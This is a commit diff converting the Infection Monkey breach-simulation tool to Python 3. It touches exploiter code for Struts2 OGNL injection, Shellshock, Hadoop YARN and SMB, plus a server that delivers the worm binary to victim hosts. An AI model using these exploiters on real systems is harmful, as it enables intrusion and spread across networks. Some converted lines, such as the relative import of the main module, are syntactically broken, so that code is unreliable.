forked from p15670423/monkey
2to3 run on all project source files
This commit is contained in:
parent
898b0f13a9
commit
abaaeea69a
|
@ -1,6 +1,6 @@
|
||||||
import json
|
import json
|
||||||
import re
|
import re
|
||||||
import urllib2
|
import urllib.request, urllib.error, urllib.parse
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
|
|
||||||
|
@ -25,18 +25,18 @@ class AwsInstance(object):
|
||||||
self.account_id = None
|
self.account_id = None
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.instance_id = urllib2.urlopen(
|
self.instance_id = urllib.request.urlopen(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
|
AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/instance-id', timeout=2).read()
|
||||||
self.region = self._parse_region(
|
self.region = self._parse_region(
|
||||||
urllib2.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
|
urllib.request.urlopen(AWS_LATEST_METADATA_URI_PREFIX + 'meta-data/placement/availability-zone').read())
|
||||||
except urllib2.URLError as e:
|
except urllib.error.URLError as e:
|
||||||
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
logger.warning("Failed init of AwsInstance while getting metadata: {}".format(e.message))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
self.account_id = self._extract_account_id(
|
self.account_id = self._extract_account_id(
|
||||||
urllib2.urlopen(
|
urllib.request.urlopen(
|
||||||
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
|
AWS_LATEST_METADATA_URI_PREFIX + 'dynamic/instance-identity/document', timeout=2).read())
|
||||||
except urllib2.URLError as e:
|
except urllib.error.URLError as e:
|
||||||
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
logger.warning("Failed init of AwsInstance while getting dynamic instance data: {}".format(e.message))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
|
|
@ -1,5 +1,5 @@
|
||||||
from unittest import TestCase
|
from unittest import TestCase
|
||||||
from aws_service import filter_instance_data_from_aws_response
|
from .aws_service import filter_instance_data_from_aws_response
|
||||||
|
|
||||||
import json
|
import json
|
||||||
|
|
||||||
|
@ -53,7 +53,7 @@ class TestFilter_instance_data_from_aws_response(TestCase):
|
||||||
self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), [])
|
self.assertEqual(filter_instance_data_from_aws_response(json.loads(json_response_empty)), [])
|
||||||
self.assertEqual(
|
self.assertEqual(
|
||||||
filter_instance_data_from_aws_response(json.loads(json_response_full)),
|
filter_instance_data_from_aws_response(json.loads(json_response_full)),
|
||||||
[{'instance_id': u'string',
|
[{'instance_id': 'string',
|
||||||
'ip_address': u'string',
|
'ip_address': 'string',
|
||||||
'name': u'string',
|
'name': 'string',
|
||||||
'os': u'string'}])
|
'os': 'string'}])
|
||||||
|
|
|
@ -11,8 +11,8 @@ class AwsCmdResult(CmdResult):
|
||||||
|
|
||||||
def __init__(self, command_info):
|
def __init__(self, command_info):
|
||||||
super(AwsCmdResult, self).__init__(
|
super(AwsCmdResult, self).__init__(
|
||||||
self.is_successful(command_info, True), command_info[u'ResponseCode'], command_info[u'StandardOutputContent'],
|
self.is_successful(command_info, True), command_info['ResponseCode'], command_info['StandardOutputContent'],
|
||||||
command_info[u'StandardErrorContent'])
|
command_info['StandardErrorContent'])
|
||||||
self.command_info = command_info
|
self.command_info = command_info
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
|
@ -23,4 +23,4 @@ class AwsCmdResult(CmdResult):
|
||||||
:param is_timeout: Whether the given command timed out
|
:param is_timeout: Whether the given command timed out
|
||||||
:return: True if successful, False otherwise.
|
:return: True if successful, False otherwise.
|
||||||
"""
|
"""
|
||||||
return (command_info[u'Status'] == u'Success') or (is_timeout and (command_info[u'Status'] == u'InProgress'))
|
return (command_info['Status'] == 'Success') or (is_timeout and (command_info['Status'] == 'InProgress'))
|
||||||
|
|
|
@ -28,9 +28,9 @@ class AwsCmdRunner(CmdRunner):
|
||||||
return AwsCmdResult(command_info)
|
return AwsCmdResult(command_info)
|
||||||
|
|
||||||
def get_command_status(self, command_info):
|
def get_command_status(self, command_info):
|
||||||
if command_info[u'Status'] == u'InProgress':
|
if command_info['Status'] == 'InProgress':
|
||||||
return CmdStatus.IN_PROGRESS
|
return CmdStatus.IN_PROGRESS
|
||||||
elif command_info[u'Status'] == u'Success':
|
elif command_info['Status'] == 'Success':
|
||||||
return CmdStatus.SUCCESS
|
return CmdStatus.SUCCESS
|
||||||
else:
|
else:
|
||||||
return CmdStatus.FAILURE
|
return CmdStatus.FAILURE
|
||||||
|
|
|
@ -61,7 +61,7 @@ class CmdRunner(object):
|
||||||
command_instance_dict[command] = instance
|
command_instance_dict[command] = instance
|
||||||
|
|
||||||
instance_results = {}
|
instance_results = {}
|
||||||
command_result_pairs = CmdRunner.wait_commands(command_instance_dict.keys())
|
command_result_pairs = CmdRunner.wait_commands(list(command_instance_dict.keys()))
|
||||||
for command, result in command_result_pairs:
|
for command, result in command_result_pairs:
|
||||||
instance = command_instance_dict[command]
|
instance = command_instance_dict[command]
|
||||||
instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
|
instance_results[instance['instance_id']] = inst_n_cmd_res_to_res(instance, result)
|
||||||
|
|
|
@ -12,9 +12,7 @@ __author__ = 'itamar'
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class NetworkRange(object):
|
class NetworkRange(object, metaclass=ABCMeta):
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
def __init__(self, shuffle=True):
|
def __init__(self, shuffle=True):
|
||||||
self._shuffle = shuffle
|
self._shuffle = shuffle
|
||||||
|
|
||||||
|
@ -119,7 +117,7 @@ class IpRange(NetworkRange):
|
||||||
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
|
return self._lower_end_ip_num <= self._ip_to_number(ip_address) <= self._higher_end_ip_num
|
||||||
|
|
||||||
def _get_range(self):
|
def _get_range(self):
|
||||||
return range(self._lower_end_ip_num, self._higher_end_ip_num + 1)
|
return list(range(self._lower_end_ip_num, self._higher_end_ip_num + 1))
|
||||||
|
|
||||||
|
|
||||||
class SingleIpRange(NetworkRange):
|
class SingleIpRange(NetworkRange):
|
||||||
|
|
|
@ -12,8 +12,8 @@ class MongoUtils:
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def fix_obj_for_mongo(o):
|
def fix_obj_for_mongo(o):
|
||||||
if type(o) == dict:
|
if isinstance(o, dict):
|
||||||
return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in o.iteritems()])
|
return dict([(k, MongoUtils.fix_obj_for_mongo(v)) for k, v in list(o.items())])
|
||||||
|
|
||||||
elif type(o) in (list, tuple):
|
elif type(o) in (list, tuple):
|
||||||
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
|
return [MongoUtils.fix_obj_for_mongo(i) for i in o]
|
||||||
|
@ -21,7 +21,7 @@ class MongoUtils:
|
||||||
elif type(o) in (int, float, bool):
|
elif type(o) in (int, float, bool):
|
||||||
return o
|
return o
|
||||||
|
|
||||||
elif type(o) in (str, unicode):
|
elif type(o) in (str, str):
|
||||||
# mongo dosn't like unprintable chars, so we use repr :/
|
# mongo dosn't like unprintable chars, so we use repr :/
|
||||||
return repr(o)
|
return repr(o)
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
import _winreg
|
import winreg
|
||||||
|
|
||||||
from common.utils.mongo_utils import MongoUtils
|
from common.utils.mongo_utils import MongoUtils
|
||||||
|
|
||||||
|
@ -12,11 +12,11 @@ class RegUtils:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def get_reg_key(subkey_path, store=_winreg.HKEY_LOCAL_MACHINE):
|
def get_reg_key(subkey_path, store=winreg.HKEY_LOCAL_MACHINE):
|
||||||
key = _winreg.ConnectRegistry(None, store)
|
key = winreg.ConnectRegistry(None, store)
|
||||||
subkey = _winreg.OpenKey(key, subkey_path)
|
subkey = winreg.OpenKey(key, subkey_path)
|
||||||
|
|
||||||
d = dict([_winreg.EnumValue(subkey, i)[:2] for i in xrange(_winreg.QueryInfoKey(subkey)[0])])
|
d = dict([winreg.EnumValue(subkey, i)[:2] for i in range(winreg.QueryInfoKey(subkey)[0])])
|
||||||
d = MongoUtils.fix_obj_for_mongo(d)
|
d = MongoUtils.fix_obj_for_mongo(d)
|
||||||
|
|
||||||
subkey.Close()
|
subkey.Close()
|
||||||
|
|
|
@ -1,6 +1,6 @@
|
||||||
import wmi
|
import wmi
|
||||||
|
|
||||||
from mongo_utils import MongoUtils
|
from .mongo_utils import MongoUtils
|
||||||
|
|
||||||
__author__ = 'maor.rayzin'
|
__author__ = 'maor.rayzin'
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
import infection_monkey.main
|
from . import infection_monkey.main
|
||||||
|
|
||||||
if "__main__" == __name__:
|
if "__main__" == __name__:
|
||||||
infection_monkey.main.main()
|
infection_monkey.main.main()
|
||||||
|
|
|
@ -22,7 +22,7 @@ class Configuration(object):
|
||||||
exploit_import = importlib.import_module('infection_monkey.exploit')
|
exploit_import = importlib.import_module('infection_monkey.exploit')
|
||||||
|
|
||||||
unknown_items = []
|
unknown_items = []
|
||||||
for key, value in formatted_data.items():
|
for key, value in list(formatted_data.items()):
|
||||||
if key.startswith('_'):
|
if key.startswith('_'):
|
||||||
continue
|
continue
|
||||||
if key in ["name", "id", "current_server"]:
|
if key in ["name", "id", "current_server"]:
|
||||||
|
|
|
@ -6,9 +6,7 @@ from datetime import datetime
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
class HostExploiter(object):
|
class HostExploiter(object, metaclass=ABCMeta):
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
_TARGET_OS_TYPE = []
|
_TARGET_OS_TYPE = []
|
||||||
|
|
||||||
# Usual values are 'vulnerability' or 'brute_force'
|
# Usual values are 'vulnerability' or 'brute_force'
|
||||||
|
|
|
@ -58,7 +58,7 @@ class HadoopExploiter(WebRCE):
|
||||||
resp = json.loads(resp.content)
|
resp = json.loads(resp.content)
|
||||||
app_id = resp['application-id']
|
app_id = resp['application-id']
|
||||||
# Create a random name for our application in YARN
|
# Create a random name for our application in YARN
|
||||||
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in xrange(self.RAN_STR_LEN)])
|
rand_name = ID_STRING + "".join([random.choice(string.ascii_lowercase) for _ in range(self.RAN_STR_LEN)])
|
||||||
payload = self.build_payload(app_id, rand_name, command)
|
payload = self.build_payload(app_id, rand_name, command)
|
||||||
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
resp = requests.post(posixpath.join(url, "ws/v1/cluster/apps/"), json=payload)
|
||||||
return resp.status_code == 202
|
return resp.status_code == 202
|
||||||
|
|
|
@ -125,7 +125,7 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||||
|
|
||||||
self._update_lock.acquire()
|
self._update_lock.acquire()
|
||||||
time_diff = time.time() - self._last_update
|
time_diff = time.time() - self._last_update
|
||||||
if type(key) is WaitUpdateEvent:
|
if isinstance(key, WaitUpdateEvent):
|
||||||
self._wait_for_update = True
|
self._wait_for_update = True
|
||||||
self._update_lock.release()
|
self._update_lock.release()
|
||||||
key.updates -= 1
|
key.updates -= 1
|
||||||
|
@ -134,12 +134,12 @@ class KeyPressRDPClient(rdp.RDPClientObserver):
|
||||||
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
elif time_diff > KEYS_INTERVAL and (not self._wait_for_update or time_diff > MAX_WAIT_FOR_UPDATE):
|
||||||
self._wait_for_update = False
|
self._wait_for_update = False
|
||||||
self._update_lock.release()
|
self._update_lock.release()
|
||||||
if type(key) is ScanCodeEvent:
|
if isinstance(key, ScanCodeEvent):
|
||||||
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
reactor.callFromThread(self._controller.sendKeyEventScancode, key.code, key.is_pressed,
|
||||||
key.is_special)
|
key.is_special)
|
||||||
elif type(key) is CharEvent:
|
elif isinstance(key, CharEvent):
|
||||||
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
reactor.callFromThread(self._controller.sendKeyEventUnicode, ord(key.char), key.is_pressed)
|
||||||
elif type(key) is SleepEvent:
|
elif isinstance(key, SleepEvent):
|
||||||
time.sleep(key.interval)
|
time.sleep(key.interval)
|
||||||
|
|
||||||
self._keys = self._keys[1:]
|
self._keys = self._keys[1:]
|
||||||
|
|
|
@ -169,7 +169,7 @@ class ShellShockExploiter(HostExploiter):
|
||||||
LOG.debug("Attack Flag is: %s" % self.success_flag)
|
LOG.debug("Attack Flag is: %s" % self.success_flag)
|
||||||
|
|
||||||
LOG.debug("Trying exploit for %s" % url)
|
LOG.debug("Trying exploit for %s" % url)
|
||||||
for header, exploit in attacks.iteritems():
|
for header, exploit in attacks.items():
|
||||||
attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
|
attack = exploit + ' echo ' + self.success_flag + "; " + TEST_COMMAND
|
||||||
result = self.attack_page(url, header, attack)
|
result = self.attack_page(url, header, attack)
|
||||||
if self.success_flag in result:
|
if self.success_flag in result:
|
||||||
|
|
|
@ -95,7 +95,7 @@ class SmbExploiter(HostExploiter):
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
||||||
|
|
||||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()):
|
||||||
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
|
||||||
rpctransport.set_dport(port)
|
rpctransport.set_dport(port)
|
||||||
|
|
||||||
|
|
|
@ -2,7 +2,7 @@ import logging
|
||||||
import time
|
import time
|
||||||
|
|
||||||
import paramiko
|
import paramiko
|
||||||
import StringIO
|
import io
|
||||||
|
|
||||||
import infection_monkey.monkeyfs as monkeyfs
|
import infection_monkey.monkeyfs as monkeyfs
|
||||||
from infection_monkey.exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
@ -41,7 +41,7 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
for user, ssh_key_pair in user_ssh_key_pairs:
|
for user, ssh_key_pair in user_ssh_key_pairs:
|
||||||
# Creating file-like private key for paramiko
|
# Creating file-like private key for paramiko
|
||||||
pkey = StringIO.StringIO(ssh_key_pair['private_key'])
|
pkey = io.StringIO(ssh_key_pair['private_key'])
|
||||||
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
|
||||||
try:
|
try:
|
||||||
pkey = paramiko.RSAKey.from_private_key(pkey)
|
pkey = paramiko.RSAKey.from_private_key(pkey)
|
||||||
|
@ -100,7 +100,7 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
port = SSH_PORT
|
port = SSH_PORT
|
||||||
# if ssh banner found on different port, use that port.
|
# if ssh banner found on different port, use that port.
|
||||||
for servkey, servdata in self.host.services.items():
|
for servkey, servdata in list(self.host.services.items()):
|
||||||
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
if servdata.get('name') == 'ssh' and servkey.startswith('tcp-'):
|
||||||
port = int(servkey.replace('tcp-', ''))
|
port = int(servkey.replace('tcp-', ''))
|
||||||
|
|
||||||
|
|
|
@ -3,8 +3,8 @@
|
||||||
code used is from https://www.exploit-db.com/exploits/41570/
|
code used is from https://www.exploit-db.com/exploits/41570/
|
||||||
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
Vulnerable struts2 versions <=2.3.31 and <=2.5.10
|
||||||
"""
|
"""
|
||||||
import urllib2
|
import urllib.request, urllib.error, urllib.parse
|
||||||
import httplib
|
import http.client
|
||||||
import unicodedata
|
import unicodedata
|
||||||
import re
|
import re
|
||||||
import ssl
|
import ssl
|
||||||
|
@ -47,10 +47,10 @@ class Struts2Exploiter(WebRCE):
|
||||||
def get_redirected(url):
|
def get_redirected(url):
|
||||||
# Returns false if url is not right
|
# Returns false if url is not right
|
||||||
headers = {'User-Agent': 'Mozilla/5.0'}
|
headers = {'User-Agent': 'Mozilla/5.0'}
|
||||||
request = urllib2.Request(url, headers=headers)
|
request = urllib.request.Request(url, headers=headers)
|
||||||
try:
|
try:
|
||||||
return urllib2.urlopen(request, context=ssl._create_unverified_context()).geturl()
|
return urllib.request.urlopen(request, context=ssl._create_unverified_context()).geturl()
|
||||||
except urllib2.URLError:
|
except urllib.error.URLError:
|
||||||
LOG.error("Can't reach struts2 server")
|
LOG.error("Can't reach struts2 server")
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@ -80,17 +80,17 @@ class Struts2Exploiter(WebRCE):
|
||||||
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
"(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))." \
|
||||||
"(#ros.flush())}" % cmd
|
"(#ros.flush())}" % cmd
|
||||||
# Turns payload ascii just for consistency
|
# Turns payload ascii just for consistency
|
||||||
if isinstance(payload, unicode):
|
if isinstance(payload, str):
|
||||||
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
payload = unicodedata.normalize('NFKD', payload).encode('ascii', 'ignore')
|
||||||
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
|
||||||
try:
|
try:
|
||||||
request = urllib2.Request(url, headers=headers)
|
request = urllib.request.Request(url, headers=headers)
|
||||||
# Timeout added or else we would wait for all monkeys' output
|
# Timeout added or else we would wait for all monkeys' output
|
||||||
page = urllib2.urlopen(request).read()
|
page = urllib.request.urlopen(request).read()
|
||||||
except AttributeError:
|
except AttributeError:
|
||||||
# If url does not exist
|
# If url does not exist
|
||||||
return False
|
return False
|
||||||
except httplib.IncompleteRead as e:
|
except http.client.IncompleteRead as e:
|
||||||
page = e.partial
|
page = e.partial
|
||||||
|
|
||||||
return page
|
return page
|
||||||
|
|
|
@ -6,7 +6,7 @@ import pprint
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
import sys
|
import sys
|
||||||
import urllib
|
import urllib.request, urllib.parse, urllib.error
|
||||||
|
|
||||||
from impacket.dcerpc.v5 import transport, srvs
|
from impacket.dcerpc.v5 import transport, srvs
|
||||||
from impacket.dcerpc.v5.dcom import wmi
|
from impacket.dcerpc.v5.dcom import wmi
|
||||||
|
@ -105,9 +105,9 @@ class WmiTools(object):
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def dcom_cleanup():
|
def dcom_cleanup():
|
||||||
for port_map in DCOMConnection.PORTMAPS.keys():
|
for port_map in list(DCOMConnection.PORTMAPS.keys()):
|
||||||
del DCOMConnection.PORTMAPS[port_map]
|
del DCOMConnection.PORTMAPS[port_map]
|
||||||
for oid_set in DCOMConnection.OID_SET.keys():
|
for oid_set in list(DCOMConnection.OID_SET.keys()):
|
||||||
del DCOMConnection.OID_SET[port_map]
|
del DCOMConnection.OID_SET[port_map]
|
||||||
|
|
||||||
DCOMConnection.OID_SET = {}
|
DCOMConnection.OID_SET = {}
|
||||||
|
@ -151,7 +151,7 @@ class WmiTools(object):
|
||||||
record = next_item.getProperties()
|
record = next_item.getProperties()
|
||||||
|
|
||||||
if not fields:
|
if not fields:
|
||||||
fields = record.keys()
|
fields = list(record.keys())
|
||||||
|
|
||||||
query_record = {}
|
query_record = {}
|
||||||
for key in fields:
|
for key in fields:
|
||||||
|
@ -383,7 +383,7 @@ class HTTPTools(object):
|
||||||
httpd.daemon = True
|
httpd.daemon = True
|
||||||
httpd.start()
|
httpd.start()
|
||||||
|
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
def create_locked_transfer(host, src_path, local_ip=None, local_port=None):
|
||||||
|
@ -411,7 +411,7 @@ class HTTPTools(object):
|
||||||
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
httpd = LockedHTTPServer(local_ip, local_port, src_path, lock)
|
||||||
httpd.start()
|
httpd.start()
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
|
|
||||||
def get_interface_to_target(dst):
|
def get_interface_to_target(dst):
|
||||||
|
|
|
@ -370,7 +370,7 @@ class WebRCE(HostExploiter):
|
||||||
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
LOG.error("Something went wrong while trying to change permission: %s" % e)
|
||||||
return False
|
return False
|
||||||
# If exploiter returns True / False
|
# If exploiter returns True / False
|
||||||
if type(resp) is bool:
|
if isinstance(resp, bool):
|
||||||
LOG.info("Permission change finished")
|
LOG.info("Permission change finished")
|
||||||
return resp
|
return resp
|
||||||
# If exploiter returns command output, we can check for execution errors
|
# If exploiter returns command output, we can check for execution errors
|
||||||
|
@ -406,7 +406,7 @@ class WebRCE(HostExploiter):
|
||||||
try:
|
try:
|
||||||
resp = self.exploit(url, command)
|
resp = self.exploit(url, command)
|
||||||
# If exploiter returns True / False
|
# If exploiter returns True / False
|
||||||
if type(resp) is bool:
|
if isinstance(resp, bool):
|
||||||
LOG.info("Execution attempt successfully finished")
|
LOG.info("Execution attempt successfully finished")
|
||||||
self.add_executed_cmd(command)
|
self.add_executed_cmd(command)
|
||||||
return resp
|
return resp
|
||||||
|
|
|
@ -1,11 +1,11 @@
|
||||||
from __future__ import print_function
|
|
||||||
import threading
|
import threading
|
||||||
import logging
|
import logging
|
||||||
import time
|
import time
|
||||||
import copy
|
import copy
|
||||||
|
|
||||||
from requests import post, exceptions
|
from requests import post, exceptions
|
||||||
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
|
from http.server import BaseHTTPRequestHandler, HTTPServer
|
||||||
|
|
||||||
from infection_monkey.exploit.web_rce import WebRCE
|
from infection_monkey.exploit.web_rce import WebRCE
|
||||||
from infection_monkey.exploit import HostExploiter
|
from infection_monkey.exploit import HostExploiter
|
||||||
|
|
|
@ -162,7 +162,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
if self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||||
self.host.os.get('version') in self._windows_versions.keys():
|
self.host.os.get('version') in list(self._windows_versions.keys()):
|
||||||
return True
|
return True
|
||||||
|
|
||||||
if not self.host.os.get('type') or (
|
if not self.host.os.get('type') or (
|
||||||
|
@ -172,7 +172,7 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
if smb_finger.get_host_fingerprint(self.host):
|
if smb_finger.get_host_fingerprint(self.host):
|
||||||
return self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
return self.host.os.get('type') in self._TARGET_OS_TYPE and \
|
||||||
self.host.os.get('version') in self._windows_versions.keys()
|
self.host.os.get('version') in list(self._windows_versions.keys())
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def _exploit_host(self):
|
def _exploit_host(self):
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
from __future__ import print_function
|
|
||||||
|
|
||||||
import argparse
|
import argparse
|
||||||
import json
|
import json
|
||||||
|
|
|
@ -35,10 +35,10 @@ class VictimHost(object):
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
victim = "Victim Host %s: " % self.ip_addr
|
victim = "Victim Host %s: " % self.ip_addr
|
||||||
victim += "OS - ["
|
victim += "OS - ["
|
||||||
for k, v in self.os.items():
|
for k, v in list(self.os.items()):
|
||||||
victim += "%s-%s " % (k, v)
|
victim += "%s-%s " % (k, v)
|
||||||
victim += "] Services - ["
|
victim += "] Services - ["
|
||||||
for k, v in self.services.items():
|
for k, v in list(self.services.items()):
|
||||||
victim += "%s-%s " % (k, v)
|
victim += "%s-%s " % (k, v)
|
||||||
victim += '] '
|
victim += '] '
|
||||||
victim += "target monkey: %s" % self.monkey_exe
|
victim += "target monkey: %s" % self.monkey_exe
|
||||||
|
|
|
@ -135,7 +135,7 @@ class InfectionMonkey(object):
|
||||||
else:
|
else:
|
||||||
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
LOG.debug("Running with depth: %d" % WormConfiguration.depth)
|
||||||
|
|
||||||
for iteration_index in xrange(WormConfiguration.max_iterations):
|
for iteration_index in range(WormConfiguration.max_iterations):
|
||||||
ControlClient.keepalive()
|
ControlClient.keepalive()
|
||||||
ControlClient.load_control_config()
|
ControlClient.load_control_config()
|
||||||
|
|
||||||
|
|
|
@ -3,17 +3,13 @@ from abc import ABCMeta, abstractmethod, abstractproperty
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
|
|
||||||
class HostScanner(object):
|
class HostScanner(object, metaclass=ABCMeta):
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
@abstractmethod
|
@abstractmethod
|
||||||
def is_host_alive(self, host):
|
def is_host_alive(self, host):
|
||||||
raise NotImplementedError()
|
raise NotImplementedError()
|
||||||
|
|
||||||
|
|
||||||
class HostFinger(object):
|
class HostFinger(object, metaclass=ABCMeta):
|
||||||
__metaclass__ = ABCMeta
|
|
||||||
|
|
||||||
@abstractproperty
|
@abstractproperty
|
||||||
def _SCANNED_SERVICE(self):
|
def _SCANNED_SERVICE(self):
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -4,7 +4,7 @@ import platform
|
||||||
|
|
||||||
|
|
||||||
def _run_netsh_cmd(command, args):
|
def _run_netsh_cmd(command, args):
|
||||||
cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in args.items()
|
cmd = subprocess.Popen("netsh %s %s" % (command, " ".join(['%s="%s"' % (key, value) for key, value in list(args.items())
|
||||||
if value])), stdout=subprocess.PIPE)
|
if value])), stdout=subprocess.PIPE)
|
||||||
return cmd.stdout.read().strip().lower().endswith('ok.')
|
return cmd.stdout.read().strip().lower().endswith('ok.')
|
||||||
|
|
||||||
|
@ -81,17 +81,17 @@ class WinAdvFirewall(FirewallApp):
|
||||||
if not self.is_enabled():
|
if not self.is_enabled():
|
||||||
return True
|
return True
|
||||||
|
|
||||||
for rule in self._rules.values():
|
for rule in list(self._rules.values()):
|
||||||
if rule.get('program') == sys.executable and \
|
if rule.get('program') == sys.executable and \
|
||||||
'in' == rule.get('dir') and \
|
'in' == rule.get('dir') and \
|
||||||
'allow' == rule.get('action') and \
|
'allow' == rule.get('action') and \
|
||||||
4 == len(rule.keys()):
|
4 == len(list(rule.keys())):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def close(self):
|
def close(self):
|
||||||
try:
|
try:
|
||||||
for rule in self._rules.keys():
|
for rule in list(self._rules.keys()):
|
||||||
self.remove_firewall_rule({'name': rule})
|
self.remove_firewall_rule({'name': rule})
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
@ -151,14 +151,14 @@ class WinFirewall(FirewallApp):
|
||||||
if not self.is_enabled():
|
if not self.is_enabled():
|
||||||
return True
|
return True
|
||||||
|
|
||||||
for rule in self._rules.values():
|
for rule in list(self._rules.values()):
|
||||||
if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'):
|
if rule.get('program') == sys.executable and 'ENABLE' == rule.get('mode'):
|
||||||
return True
|
return True
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def close(self):
|
def close(self):
|
||||||
try:
|
try:
|
||||||
for rule in self._rules.values():
|
for rule in list(self._rules.values()):
|
||||||
self.remove_firewall_rule(**rule)
|
self.remove_firewall_rule(**rule)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
|
@ -15,7 +15,7 @@ from requests import ConnectionError
|
||||||
from common.network.network_range import CidrRange
|
from common.network.network_range import CidrRange
|
||||||
|
|
||||||
try:
|
try:
|
||||||
long # Python 2
|
int # Python 2
|
||||||
except NameError:
|
except NameError:
|
||||||
long = int # Python 3
|
long = int # Python 3
|
||||||
|
|
||||||
|
@ -106,9 +106,9 @@ else:
|
||||||
ifaddr = socket.inet_ntoa(ifreq[20:24])
|
ifaddr = socket.inet_ntoa(ifreq[20:24])
|
||||||
else:
|
else:
|
||||||
continue
|
continue
|
||||||
routes.append((socket.htonl(long(dst, 16)) & 0xffffffff,
|
routes.append((socket.htonl(int(dst, 16)) & 0xffffffff,
|
||||||
